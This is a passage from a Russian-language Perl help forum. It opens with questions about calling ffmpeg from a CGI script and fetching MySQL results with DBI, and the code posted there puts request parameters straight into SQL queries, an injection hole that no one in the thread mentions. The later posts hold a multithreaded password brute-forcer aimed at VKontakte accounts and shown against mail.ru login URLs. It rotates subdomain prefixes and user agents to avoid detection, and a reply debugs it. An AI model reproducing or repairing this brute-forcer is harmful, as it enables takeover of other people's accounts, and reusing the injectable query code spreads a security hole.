"Виснет" видимо потому, что при использовании system скрипт будет ожидать завершения процесса конвертирования.
но конвертер консольный( ffmpeg.exe)а как я знаю консольные приложения сразу закрываются после выполнения сценария... почему же Code: #!"D:\xampp\perl\bin\perl.exe" print "Content-Type: text/html\n\n"; print "OK"; system ('start D:\tmp\ffmpeg.exe -i D:\tmp\video.avi -ar 22050 -ab 32 -f flv -s 320x240 video2.flv') выполняется нормально и создает превью?!
вроде бы как перл будет ждать ответа от system, чтобы это отключить, надо перенаправить вывод системной команды, попробуй посмотреть во что превращается "start D:\tmp\ffmpeg.exe -i D:\tmp\$name -an -ss 00:00:10 -r 1 -vframes 1 -s 200?200 -y -f mjpeg $name.jpg", потом запусти в консоли, будет ли долго исполнять, если нет, заюзай профайлер
всё..большое спасибо за ответы, проблема решается токо когда указываеш полный путь к файлу..но теперь проблема...надо каждый раз прописывать путь к новому видео...как это автоматизировать в этом скрипте?
и сново я...объясните мне что делаю не так!есть perl скрипт Code: #!"D:\perl\bin\perl.exe" use DBI; use CGI qw/:standard/; use CGI qw(param); use CGI::Carp qw(fatalsToBrowser); my $dbh = DBI->connect("DBI:mysql:database=video;host=localhost", "****", "****") || die $DBI::errstr; print "Content-Type: text/html\n\n"; my $view=param('id'); my $video=param('v'); my $title=param('t'); $result = $dbh->do("SELECT file_id FROM video WHERE file_id='$view'"); $result2 = $dbh->do("SELECT video_id FROM video WHERE video_id='$video'"); $result3 = $dbh->do("SELECT title_id FROM video WHERE title_id='$title'"); print "<center>$result2</center>"; print "<center><script type='text/javascript' src='http://videoserver.3-a.net/files/public/flvpleer/swfobject.js'></script> <div id='mediaspace'>This text will be replaced</div> <script type='text/javascript'> var so = new SWFObject('http://videoserver.3-a.net/files/public/flvpleer/player.swf','mpl','640','480','9') so.addParam('allowfullscreen','true') so.addParam('allowscriptaccess','always') so.addParam('wmode','opaque') so.addVariable('file','http://videoserver.3-a.net/files/mediagallery/media/$result') so.addVariable('image','http://videoserver.3-a.net/files/mediagallery/images/$result.jpg') so.write('mediaspace') </script> </center>"; print "краткое описание $result3"; $dbh->disconnect(); почему значение переменных ($result,$result2,$result3) равно 1,хотя должно выводится значение полей (file_id,video_id,title_id)? я так понимаю это из-за использования метода do..если я прав то как это исправить?(хотя даже если не прав ,как исправить?)
Очень боюсь ошибиться, так как совсем недавно начал писать на Perl! Но для получения данных использую не do, а следующим образом: $result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'"); $result->execute(); $result = $result->fetchrow_hashref();
при использовании prepare выводится значение DBI::st=HASH(0x198c884) ,а когда остальные появляются ошибки ...
омг do() используется для запросов UPDATE и INSERT и тп, так как возвращает результат запроса (1=ошибки нет, 0=ошибка) Юзай prepare(),execute() и fetchrow_hashref
тогда почему при использовании prepare мне выводится значение не поля а DBI::st=HASH(0x1a2c884),использую execute выходит ошибка Can't locate object method "execute" via package "DBI::db" at D:/xampp/cgi-bin/new/video.pl line 13.,использую fetchrow_hashref выходит Can't locate object method "fetchrow_hashref" via package "DBI::db" at D:/xampp/cgi-bin/new/video.pl line 13. ..ЧТО ДЕЛАТЬ?ДА Я НУБ!!но что делать?
Вот! Если не ошибаюсь, должно быть так! НЕ судите строго если ошибся... Code: #!"D:\perl\bin\perl.exe" use DBI; use CGI qw/:standard/; use CGI qw(param); use CGI::Carp qw(fatalsToBrowser); my $dbh = DBI->connect("DBI:mysql:database=video;host=localhost", "****", "****") || die $DBI::errstr; print "Content-Type: text/html\n\n"; my $view=param('id'); my $video=param('v'); my $title=param('t'); $result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'"); $result->execute(); $result2 = $dbh->prepare("SELECT video_id FROM video WHERE video_id='$video'"); $result2->execute(); $result3 = $dbh->prepare("SELECT title_id FROM video WHERE title_id='$title'"); $result3->execute(); my $result_file = $result->fetchrow_hashref(); my $result_video = $result2->fetchrow_hashref(); my $result_title = $result3->fetchrow_hashref(); print "<center>$result_video->{video_id}</center>"; print "<center><script type='text/javascript' src='http://videoserver.3-a.net/files/public/flvpleer/swfobject.js'> </script> <div id='mediaspace'>This text will be replaced</div> <script type='text/javascript'> var so = new SWFObject('http://videoserver.3-a.net/files/public/flvpleer/player.swf','mpl','640','480','9') so.addParam('allowfullscreen','true') so.addParam('allowscriptaccess','always') so.addParam('wmode','opaque') so.addVariable('file','http://videoserver.3-a.net/files/mediagallery/media/$result_file->{file_id}') so.addVariable('image','http://videoserver.3-a.net/files/mediagallery/images/$result_file->{file_id}.jpg') so.write('mediaspace') </script> </center>"; print "краткое описание $result_title->{title_id}"; $dbh->disconnect();
Здраствуйте, Пробую переделать скрипт для брута вконтакте, вроде всё правильно сделал, но при запуске получаю ошибку: Thread 3 terminated abnormally: Can't use an undefined value as a symbol referen ce at qw.pl line 32. Вот код скрипта: Code: #!/usr/bin/perl -W use IO::Socket; use MD5; use threads; use threads::shared; my @pass : shared; $dic = "passl.txt"; #паслист для брдутфорсера $login = 'login'; $threads = 4; #количество потоков @prefixes = ('as','sd','df','dff','fg','gh','hj'); @agents = ('Mozilla/4.0','Mozilla/5.0','Opera/9.22','IE','AppleMAC-Safari','Opera','FireFox'); open (pass1, "<$dic"); @pass = pass(); for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} for(@trl) { $_->join; } sub Brut { while (@pass){ $pass = shift @pass; my $random = int(rand(6)); my $prefix = $prefixes[$random]; print("random: $random prefix: $prefix pass: $pass\r\n"); my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80); print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n". "Host: ".$prefix.".mail.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: ".$agents[$random]."\r\n". "Connection: close\r\n\r\n"; $answ = <$sock>; close $sock; print "$pass $answ"; if ($answ =~ /302/){ print "$login : $pass\n"; exit;} } } sub pass { my (@mas); while (<pass1>){ push @mas, $_; } chomp @mas; close pass1; return @mas; } Если несолжно, подскажите пожалуйста в чём ошибка, и как исправить? p.s. mail.ru вписан просто для примера
Но мне как-раз нужны эти префиксы, и чтобы при каждом запросе они были разные (случайное число из рандома) и user-agent тоже нужно чтобы случайный был :/
iveyk Code: my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80); print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n". Здесь не учитываются возможные ошибки при создании сокета. Т.е. надо добавить что то вроде: Code: my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80) or {unshift(@pass, $pass); Brut(); exit()};